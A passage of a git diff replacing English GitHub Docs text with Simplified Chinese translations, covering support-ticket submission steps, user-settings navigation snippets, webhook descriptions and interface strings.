+![发布系列”下拉菜单的屏幕截图](/assets/images/help/support/release-field.png) {%- endif %} {%- ifversion ghes or ghec %} +1. 选择“优先级”下拉菜单并单击适当的紧迫性。 有关详细信息,请参阅“[关于票证优先级](/support/learning-about-github-support/about-ticket-priority)。” + ![“优先级”下拉菜单的屏幕截图。](/assets/images/help/support/priority-field.png) +{%- endif %} {%- ifversion ghes %} + - 选择 {% data variables.product.support_ticket_priority_urgent %} 以报告 {% ifversion fpt or ghec %}严重系统故障{% else %} 致命系统故障、影响关键系统操作、安全事件和过期许可证的中断{% endif %}。 + - 选择 {% data variables.product.support_ticket_priority_high %} 报告影响业务运营的问题,包括 {% ifversion fpt or ghec %}从你自己的帐户和组织还原中删除敏感数据(提交、议题、拉取请求、上传的附件){% else %}系统性能问题{% endif %},或报告严重错误。 + - 选择 {% data variables.product.support_ticket_priority_normal %} 以 {% ifversion fpt or ghec %}请求帐户恢复或垃圾邮件取消标识、报告用户登录问题{% else %}发出技术请求,如配置更改和第三方集成{% endif %},以及报告非关键 bug。 + - 选择 {% data variables.product.support_ticket_priority_low %} 以提出一般问题和提交有关新功能、购买、培训或状态检查的请求。 +{%- endif %} {%- ifversion ghes or ghec %} +1. 或者,如果帐户包含 {% data variables.contact.premium_support %} 并且票证优先级为{% ifversion ghes %}紧急或高{% elsif ghec %}高{% endif %},则可以用英语请求回叫。 选择“从 GitHub 支持请求回叫”,选择“国家代码”下拉菜单以选择国家,然后输入电话号码。 +![“请求回叫”复选框、“国家/地区代码”下拉菜单和“电话号码”文本框的屏幕截图。](/assets/images/help/support/request-callback.png) {%- endif %} -{%- ifversion ghes %} -1. If prompted, select the **Server installation** dropdown menu and click the installation your support ticket is regarding. If the installation is not listed, click **Other**. -![Screenshot of the "Server Installation" dropdown menu](/assets/images/help/support/installation-field.png) -{%- endif %} -{%- ifversion ghes %} -1. Select the **Release series** dropdown menu and click the release {% data variables.location.product_location_enterprise %} is running. -![Screenshot of the "Release series" dropdown menu](/assets/images/help/support/release-field.png) -{%- endif %} -{%- ifversion ghes or ghec %} -1. Select the **Priority** dropdown menu and click the appropriate urgency. For more information, see "[About ticket priority](/support/learning-about-github-support/about-ticket-priority)." - ![Screenshot of the "Priority" dropdown menu.](/assets/images/help/support/priority-field.png) -{%- endif %} -{%- ifversion ghes %} - - Choose **{% data variables.product.support_ticket_priority_urgent %}** to report {% ifversion fpt or ghec %}critical system failure{% else %}fatal system failures, outages impacting critical system operations, security incidents, and expired licenses{% endif %}. - - Choose **{% data variables.product.support_ticket_priority_high %}** to report issues impacting business operations, including {% ifversion fpt or ghec %}removing sensitive data (commits, issues, pull requests, uploaded attachments) from your own accounts and organization restorations{% else %}system performance issues{% endif %}, or to report critical bugs. - - Choose **{% data variables.product.support_ticket_priority_normal %}** to {% ifversion fpt or ghec %}request account recovery or spam unflagging, report user login issues{% else %}make technical requests like configuration changes and third-party integrations{% endif %}, and to report non-critical bugs. - - Choose **{% data variables.product.support_ticket_priority_low %}** to ask general questions and submit requests for new features, purchases, training, or health checks. -{%- endif %} -{%- ifversion ghes or ghec %} -1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback in English. Select **Request a callback from GitHub Support**, select the country code dropdown menu to choose your country, and enter your phone number. -![Screenshot of the "Request callback" checkbox, "Country code" dropdown menu, and "Phone number" text box.](/assets/images/help/support/request-callback.png) -{%- endif %} -1. Under "Subject", type a descriptive title for the issue you're having. -![Screenshot of the "Subject" text box.](/assets/images/help/support/subject-field.png) -1. Under "How can we help", provide any additional information that will help the Support team troubleshoot the problem. You can use markdown to format your message. - ![Screenshot of the "How can we help" text area.](/assets/images/help/support/how-can-we-help-field.png) - Helpful information may include: - - Steps to reproduce the issue - - Any special circumstances surrounding the discovery of the issue (for example, the first occurrence or occurrence after a specific event, frequency of occurrence, business impact of the problem, and suggested urgency) - - Exact wording of error messages -{% indented_data_reference reusables.repositories.anyone-can-view-anonymized-url spaces=3 %} +1. 在“Subject(主题)”下,为您遇到的问题输入描述性标题。 +![主题”文本框的屏幕截图。](/assets/images/help/support/subject-field.png) +1. 在“How can we help(我们如何提供帮助)”下,提供将帮助支持团队对问题进行故障排除的任何其他信息。 你可以使用 Markdown 格式化消息。 + ![“如何帮助”文本区域的屏幕截图。](/assets/images/help/support/how-can-we-help-field.png) + 有用的信息可能包括: + - 重现问题的步骤 + - 与问题发现有关的任何特殊情况(例如,第一次出现或特定事件之后出现、出现频率、问题的业务影响和建议的紧急级别) + - 错误消息的准确表述 {% indented_data_reference reusables.repositories.anyone-can-view-anonymized-url spaces=3 %} {%- ifversion ghes %} -1. Optionally, attach diagnostics files and other files by dragging and dropping, uploading, or pasting from the clipboard. +1. 或者,通过拖放、上传或从剪贴板粘贴来附加诊断文件和其他文件。 {%- endif %} -1. Click **Send request**. -![Screenshot of the "Send request" button.](/assets/images/help/support/send-request-button.png) +1. 单击“发送请求”。 +![“发送请求”按钮的屏幕截图。](/assets/images/help/support/send-request-button.png) diff --git a/translations/zh-CN/data/reusables/support/support-ticket-translation-option.md b/translations/zh-CN/data/reusables/support/support-ticket-translation-option.md new file mode 100644 index 0000000000..32c329db92 --- /dev/null +++ b/translations/zh-CN/data/reusables/support/support-ticket-translation-option.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5dbd22db0d4b487a5fe9fc206ff47d1bb53e9a67 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193255" +--- +可以将支持工单翻译为中文(简体)、法语、德语、日语、葡萄牙语(巴西)或西班牙语。 有关详细信息,请参阅“[查看和更新支持工单](/support/contacting-github-support/viewing-and-updating-support-tickets)”。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/user-settings/access_applications.md b/translations/zh-CN/data/reusables/user-settings/access_applications.md index 7c28e18227..58fd44a378 100644 --- a/translations/zh-CN/data/reusables/user-settings/access_applications.md +++ b/translations/zh-CN/data/reusables/user-settings/access_applications.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Integrations" section of the sidebar, click **{% octicon "apps" aria-label="The apps icon" %} Applications**. +--- +ms.openlocfilehash: 67be79166864dac50fcca20ee401acb3d63f9000 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145127398" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“集成”部分中,单击 {% octicon "apps" aria-label="The apps icon" %}“应用程序”。 {% else %} -1. In the left sidebar, click **Applications**. -![Applications tab](/assets/images/help/settings/settings-applications.png) -{% endif %} +1. 在左侧边栏中,单击“应用程序”。 +![应用程序选项卡](/assets/images/help/settings/settings-applications.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/account_settings.md b/translations/zh-CN/data/reusables/user-settings/account_settings.md index 6b28a06928..a983d42e1f 100644 --- a/translations/zh-CN/data/reusables/user-settings/account_settings.md +++ b/translations/zh-CN/data/reusables/user-settings/account_settings.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the left sidebar, click **{% octicon "gear" aria-label="The gear icon" %} Account**. +--- +ms.openlocfilehash: 0c808548aece6e90bebe00a59b2a71cbb39f9ee6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145127390" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在左侧栏中,单击“{% octicon "gear" aria-label="The gear icon" %} 帐户”。 {% else %} -1. In the left sidebar, click **Account**. -![Account settings menu option](/assets/images/help/settings/settings-sidebar-account-settings.png) -{% endif %} +1. 在左侧边栏中,单击“帐户”。 +![帐户设置菜单选项](/assets/images/help/settings/settings-sidebar-account-settings.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/appearance-settings.md b/translations/zh-CN/data/reusables/user-settings/appearance-settings.md index d85aea5bd5..41537a8e75 100644 --- a/translations/zh-CN/data/reusables/user-settings/appearance-settings.md +++ b/translations/zh-CN/data/reusables/user-settings/appearance-settings.md @@ -1,7 +1,14 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the left sidebar, click **{% octicon "paintbrush" aria-label="The paintbrush icon" %} Appearance**. +--- +ms.openlocfilehash: 8459caf17fd3cebbf545c085d1bbb8cc6a9b1f92 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145084359" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在左侧边栏中,单击“{% octicon "paintbrush" aria-label="The paintbrush icon" %} 外观”。 {% else %} -1. In the user settings sidebar, click **Appearance**. +1. 在用户设置边栏中,单击“外观”。 - !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png) -{% endif %} + ![用户设置侧边栏中的“外观”标签](/assets/images/help/settings/appearance-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/developer_settings.md b/translations/zh-CN/data/reusables/user-settings/developer_settings.md index ab9e416284..5cdd1a8a3e 100644 --- a/translations/zh-CN/data/reusables/user-settings/developer_settings.md +++ b/translations/zh-CN/data/reusables/user-settings/developer_settings.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the left sidebar, click **{% octicon "code" aria-label="The code icon" %} Developer settings**. +--- +ms.openlocfilehash: 3ea1abd965cdfa8bdc17eda8bf767293296b6b16 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145097294" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在左侧边栏中,单击“{% octicon "code" aria-label="The code icon" %} 开发人员设置”。 {% else %} -1. In the left sidebar, click **Developer settings**. - ![Developer settings](/assets/images/help/settings/developer-settings.png) -{% endif %} +1. 在左侧边栏中,单击“开发人员设置”。 + ![开发人员设置](/assets/images/help/settings/developer-settings.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/emails.md b/translations/zh-CN/data/reusables/user-settings/emails.md index fc8b1d772d..4a58131774 100644 --- a/translations/zh-CN/data/reusables/user-settings/emails.md +++ b/translations/zh-CN/data/reusables/user-settings/emails.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "mail" aria-label="The mail icon" %} Emails**. +--- +ms.openlocfilehash: ae1f58ea425d24487b2fde9468b5f0160699ca10 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145097293" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“访问”部分,单击“{% octicon "mail" aria-label="The mail icon" %} 电子邮件”。 {% else %} -1. In the left sidebar, click **Emails**. -![Emails tab](/assets/images/help/settings/settings-sidebar-emails.png) -{% endif %} +1. 在左侧边栏中,单击“电子邮件”。 +![“电子邮件”选项卡](/assets/images/help/settings/settings-sidebar-emails.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/organizations.md b/translations/zh-CN/data/reusables/user-settings/organizations.md index beceae5f16..b43af4f3b4 100644 --- a/translations/zh-CN/data/reusables/user-settings/organizations.md +++ b/translations/zh-CN/data/reusables/user-settings/organizations.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "organization" aria-label="The organization icon" %} Organizations**. +--- +ms.openlocfilehash: 6ab95f9fbf36a001c3d1a38611e40bf39a661a09 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099678" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“访问”部分,单击“{% octicon "organization" aria-label="The organization icon" %} 组织”。 {% else %} -1. In your user settings sidebar, click **Organizations**. -![User settings for organizations](/assets/images/help/settings/settings-user-orgs.png) -{% endif %} +1. 在用户设置边栏中,单击“组织”。 +![组织的用户设置](/assets/images/help/settings/settings-user-orgs.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/personal_access_tokens.md b/translations/zh-CN/data/reusables/user-settings/personal_access_tokens.md index 0a2887b96d..dc5586262e 100644 --- a/translations/zh-CN/data/reusables/user-settings/personal_access_tokens.md +++ b/translations/zh-CN/data/reusables/user-settings/personal_access_tokens.md @@ -1,2 +1,10 @@ -1. In the left sidebar, click **{% data variables.product.pat_generic_caps %}s**. -![{% data variables.product.pat_generic_caps %}s](/assets/images/help/settings/personal_access_tokens_tab.png) +--- +ms.openlocfilehash: ab6ddc3736dea3b8c865ae9047373c1de4d1311f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145065714" +--- +1. 在左侧边栏中,单击“个人访问令牌”。 +![个人访问令牌](/assets/images/help/settings/personal_access_tokens_tab.png) diff --git a/translations/zh-CN/data/reusables/user-settings/removes-personal-access-tokens.md b/translations/zh-CN/data/reusables/user-settings/removes-personal-access-tokens.md index 3840329b4c..e75c9bf7bd 100644 --- a/translations/zh-CN/data/reusables/user-settings/removes-personal-access-tokens.md +++ b/translations/zh-CN/data/reusables/user-settings/removes-personal-access-tokens.md @@ -1 +1,9 @@ -As a security precaution, {% data variables.product.company_short %} automatically removes {% data variables.product.pat_generic %}s that haven't been used in a year. To provide additional security, we highly recommend adding an expiration to your {% data variables.product.pat_generic %}s. +--- +ms.openlocfilehash: a435a91a41d6097a0613eb77253bf4381a75e8c0 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147065992" +--- +作为安全预防措施,{% data variables.product.company_short %} 会自动删除一年内未使用过的个人访问令牌。 为了提供进一步的安全性,强烈建议将过期时间添加到个人访问令牌。 diff --git a/translations/zh-CN/data/reusables/user-settings/repo-tab.md b/translations/zh-CN/data/reusables/user-settings/repo-tab.md index dc3742b0ea..e073d0cab7 100644 --- a/translations/zh-CN/data/reusables/user-settings/repo-tab.md +++ b/translations/zh-CN/data/reusables/user-settings/repo-tab.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "repo" aria-label="The repo icon" %} Repositories**. +--- +ms.openlocfilehash: 40effa4d5d2be43aa7998eea0871582bc2f49341 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147875981" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“代码规划和自动化”部分中,单击“{% octicon "repo" aria-label="The repo icon" %} 存储库”。 {% else %} -1. In the left sidebar, click **Repositories**. - ![Repositories tab](/assets/images/help/settings/repos-tab.png) -{% endif %} +1. 在左侧边栏中,单击“存储库”。 + ![存储库选项卡](/assets/images/help/settings/repos-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/saved_replies.md b/translations/zh-CN/data/reusables/user-settings/saved_replies.md index e8b515e328..9d04156b7a 100644 --- a/translations/zh-CN/data/reusables/user-settings/saved_replies.md +++ b/translations/zh-CN/data/reusables/user-settings/saved_replies.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "reply" aria-label="The reply icon" %} Saved replies**. +--- +ms.openlocfilehash: d345906d50c24d3054cdbfc5183bd4679b506aa3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145065697" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“代码、规划和自动化”部分,单击“{% octicon "reply" aria-label="The reply icon" %} 已保存回复”。 {% else %} -1. In the left sidebar, click **Saved replies**. -![Saved replies tab](/assets/images/help/settings/saved-replies-tab.png) -{% endif %} +1. 在左侧栏中,单击“已保存回复”。 +![“已保存回复”选项卡](/assets/images/help/settings/saved-replies-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/security-analysis.md b/translations/zh-CN/data/reusables/user-settings/security-analysis.md index 633c1d4071..ccaaae1e3b 100644 --- a/translations/zh-CN/data/reusables/user-settings/security-analysis.md +++ b/translations/zh-CN/data/reusables/user-settings/security-analysis.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Code security and analysis**. +--- +ms.openlocfilehash: ee3cf27ccdea9537cc06019377637f939bf9abbc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145065696" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“安全性”部分中,单击“{% octicon "shield-lock" aria-label="The shield-lock icon" %} 代码安全性和分析”。 {% else %} -1. In the left sidebar, click **Security & analysis**. -![Security and analysis settings](/assets/images/help/settings/settings-sidebar-security-analysis.png) -{% endif %} +1. 在左侧边栏中,单击“安全性和分析”。 +![安全性和分析设置](/assets/images/help/settings/settings-sidebar-security-analysis.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/security.md b/translations/zh-CN/data/reusables/user-settings/security.md index e22f68f571..e37094a653 100644 --- a/translations/zh-CN/data/reusables/user-settings/security.md +++ b/translations/zh-CN/data/reusables/user-settings/security.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Password and authentication**. +--- +ms.openlocfilehash: 286f6911e8c9404d4e70fdcad9866444240e7608 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145065694" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“访问”部分中,单击“{% octicon "shield-lock" aria-label="The shield-lock icon" %} 密码和身份验证”。 {% else %} -1. In the left sidebar, click **Account security**. -![Personal account security settings](/assets/images/help/settings/settings-sidebar-account-security.png) -{% endif %} +1. 在左侧边栏中,单击“帐户安全”。 +![个人帐户安全设置](/assets/images/help/settings/settings-sidebar-account-security.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/user-settings/ssh.md b/translations/zh-CN/data/reusables/user-settings/ssh.md index cf6c7a99bc..7faa0e3c05 100644 --- a/translations/zh-CN/data/reusables/user-settings/ssh.md +++ b/translations/zh-CN/data/reusables/user-settings/ssh.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} SSH and GPG keys**. +--- +ms.openlocfilehash: 21bf6a41cea18c551df29283106de905889af724 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145065681" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“访问”部分中,单击 {% octicon "key" aria-label="The key icon" %}“SSH 和 GPG 密钥”。 {% else %} -1. In the user settings sidebar, click **SSH and GPG keys**. -![Authentication keys](/assets/images/help/settings/settings-sidebar-ssh-keys.png) -{% endif %} +1. 在用户设置边栏中,单击“SSH 和 GPG 密钥”。 +![身份验证密钥](/assets/images/help/settings/settings-sidebar-ssh-keys.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md b/translations/zh-CN/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md index 5f7776b38a..04e46f1148 100644 --- a/translations/zh-CN/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md +++ b/translations/zh-CN/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md @@ -1,7 +1,9 @@ -{% warning %} - -**Deprecation note**: The `repository_vulnerability_alert` webhook events described below are deprecated and are documented here for reference only. Use [`dependabot_alert`](#dependabot_alert) as an alternative. - -{% endwarning %} - -Activity related to security vulnerability alerts in a repository. {% data reusables.webhooks.action_type_desc %} For more information, see the "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)". +--- +ms.openlocfilehash: 004cf3f20495daaec9413026c03e5514211c906d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067111" +--- +与仓库中的安全漏洞警报相关的活动。 {% data reusables.webhooks.action_type_desc %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)“。 diff --git a/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md index 15e0e271ab..999255bd57 100644 --- a/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md +++ b/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md @@ -1,13 +1,13 @@ --- -ms.openlocfilehash: 63effb67d8f26ba954127db629134b36b40d8552 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: 6f756137f84b0451079811530d035b11f9764446 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 10/25/2022 -ms.locfileid: "148108078" +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192903" --- -使用 Webhook REST API,可以管理存储库、组织和应用 Webhook。 可使用此 API 列出 Webhook 的 Webhook 交付,获取并重新交付 Webhook 的个别交付,该交付可以集成到外部应用或服务中。 还可使用 REST API 更改 Webhook 的配置。 例如,您可以修改有效负载 URL、内容类型、SSL 验证和机密。 有关详细信息,请参阅: +可以使用 REST API 来管理存储库、组织和应用 Webhook。 可以列出 Webhook 的 Webhook 交付,获取并重新交付 Webhook 的个别交付,该交付可以集成到外部应用或服务中。 还可使用 REST API 更改 Webhook 的配置。 例如,您可以修改有效负载 URL、内容类型、SSL 验证和机密。 有关详细信息,请参阅: -- [存储库 Webhook REST API](/rest/reference/webhooks#repository-webhooks) -- [组织 Webhook REST API](/rest/reference/orgs#webhooks) -- [{% data variables.product.prodname_github_app %} Webhook REST API](/rest/reference/apps#webhooks) +- [存储库 Webhook](/rest/reference/webhooks#repository-webhooks) +- [组织 Webhook](/rest/reference/orgs#webhooks) +- [{% data variables.product.prodname_github_app %} Webhook](/rest/reference/apps#webhooks) diff --git a/translations/zh-CN/data/reusables/webhooks/workflow_run_properties.md b/translations/zh-CN/data/reusables/webhooks/workflow_run_properties.md index 61d679333e..01df71fcf4 100644 --- a/translations/zh-CN/data/reusables/webhooks/workflow_run_properties.md +++ b/translations/zh-CN/data/reusables/webhooks/workflow_run_properties.md @@ -1,4 +1,12 @@ -Key | Type | Description +--- +ms.openlocfilehash: 792c3f0b0cce96a57cf623f818ef296409c5d4a5 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876008" +--- +密钥 | 类型 | 说明 ----|------|------------- -`action`|`string` | The action that was performed. Can be one of `requested`{% ifversion actions-workflow-run-in-progress %}, `in_progress`,{% endif %} or `completed`. -`workflow_run`| `object` | The workflow run. Includes information such as `artifacts_url`, `check_suite_id`, `conclusion`, `head_branch`, and `head_sha`. +`action`|`string` | 执行的操作内容. 可以是 `requested` 或 `completed` 之一。 +`workflow_run`| `object` | 工作流程运行。 包含如下所述的信息:`artifacts_url`、`check_suite_id`、`conclusion`、`head_branch` 和 `head_sha`。 diff --git a/translations/zh-CN/data/ui.yml b/translations/zh-CN/data/ui.yml index 29dec0fbef..a7a2c7da7a 100644 --- a/translations/zh-CN/data/ui.yml +++ b/translations/zh-CN/data/ui.yml @@ -1,267 +1,235 @@ meta: - default_description: Get started, troubleshoot, and make the most of GitHub. Documentation for new users, developers, administrators, and all of GitHub's products. + default_description: 开始使用、排除故障和充分利用 GitHub。新用户、开发人员、管理员和所有 GitHub 产品的文档。 header: github_docs: GitHub Docs - contact: Contact + contact: 联系人 notices: - ghae_silent_launch: GitHub AE is currently under limited release. + ghae_silent_launch: GitHub AE 目前处于受限版。 release_candidate: # The version name is rendered before the below text via includes/header-notification.html - ' is currently available as a release candidate. For more information, see "About upgrades to new releases."' + ' 目前可作为候选发布。有关详细信息,请参阅“关于升级到新版本”。' localization_complete: - We publish frequent updates to our documentation, and translation of this page may still be in progress. - For the most current information, please visit the - English documentation. - early_access: 📣 Please do not share this URL publicly. This page contains content about an early access feature. - release_notes_use_latest: Please use the latest release for the latest security, performance, and bug fixes. + "我们经常发布文档更新,此页面的翻译可能仍在进行中。有关最新信息,请访问英语文档。" + early_access: 📣 请不要公开分享此 URL。此页面包含有关早期访问功能的内容。 + release_notes_use_latest: 请使用最新版本获取最新的安全性、性能和 bug 修复程序。 # GHES release notes - ghes_release_notes_upgrade_patch_only: 📣 This is not the latest patch release of Enterprise Server. - ghes_release_notes_upgrade_release_only: 📣 This is not the latest release of Enterprise Server. - ghes_release_notes_upgrade_patch_and_release: 📣 This is not the latest patch release of this release series, and this is not the latest release of Enterprise Server. - sign_up_cta: Sign up + ghes_release_notes_upgrade_patch_only: "📣 这不是 Enterprise Server 的最新补丁版本。" + ghes_release_notes_upgrade_release_only: "📣 这不是 Enterprise Server 的最新版本。" + ghes_release_notes_upgrade_patch_and_release: "📣 这不是此版本系列的最新补丁版本,也不是 Enterprise Server 的最新版本。" + sign_up_cta: 注册 picker: - language_picker_default_text: Choose a language - product_picker_default_text: All products - version_picker_default_text: Choose a version + language_picker_default_text: 选择语言 + product_picker_default_text: 所有产品 + version_picker_default_text: 选择版本 release_notes: - banner_text: GitHub began rolling these changes out to enterprises on + banner_text: GitHub 开始向企业推出这些更改 search: - need_help: Need help? - placeholder: Search GitHub Docs - loading: Loading - no_results: No results found - search_results_for: Search results for - no_content: No content - matches_found: Results found - matches_displayed: Matches displayed - search_error: An error occurred trying to perform the search. - description: Enter a search term to find it in the GitHub Documentation. - label: Search GitHub Docs - results_found: Found {n} results in {s}ms - results_page: This is page {page} of {pages}. - nothing_found: Nothing found 😿 + need_help: 需要帮助? + placeholder: 搜索 GitHub Docs + loading: 加载 + no_results: 未找到结果 + search_results_for: 搜索以下项的结果 + no_content: 无内容 + matches_displayed: 显示的匹配项 + search_error: 尝试执行搜索时发生错误。 + description: 输入搜索词以在 GitHub 文档中找到它。 + label: 搜索 GitHub Docs + results_found: "在 {s} 毫秒内找到了 {n} 个结果" + results_page: "这是第 {page} 页,共 {pages} 页。" + nothing_found: 未找到任何内容 😿 homepage: - explore_by_product: Explore by product - version_picker: Version - description: Help for wherever you are on your GitHub journey. + explore_by_product: 按产品浏览 + version_picker: 版本 + description: 在 GitHub 旅程中随时为你提供帮助。 toc: - getting_started: Getting started - popular: Popular - guides: Guides - whats_new: What's new - videos: Videos - all_changelogs: All changelog posts + getting_started: 入门 + popular: 热门 + guides: 指南 + whats_new: 新增功能 + videos: 视频 + all_changelogs: 所有更改日志帖子 pages: - article_version: 'Article version' - miniToc: In this article - contributor_callout: This article is contributed and maintained by - all_enterprise_releases: All Enterprise Server releases - about_versions: About versions - permissions_statement: Who can use this feature + article_version: '文章版本' + miniToc: 本文内容 + contributor_callout: 这篇文章的参与者和维护者是 + all_enterprise_releases: 所有 Enterprise Server 发行版 + about_versions: 关于版本 errors: - oops: Ooops! - something_went_wrong: It looks like something went wrong. - we_track_errors: We track these errors automatically, but if the problem persists please feel free to contact us. - page_doesnt_exist: It looks like this page doesn't exist. + oops: 哎呀! + something_went_wrong: 似乎出现了问题。 + we_track_errors: 我们会自动跟踪这些错误,但如果问题仍然存在,请随时联系我们。 + page_doesnt_exist: 看来此页面不存在。 support: - still_need_help: Still need help? - contact_support: Contact support - ask_community: Ask the GitHub community + still_need_help: 还需要帮助? + contact_support: 联系支持人员 + ask_community: 询问 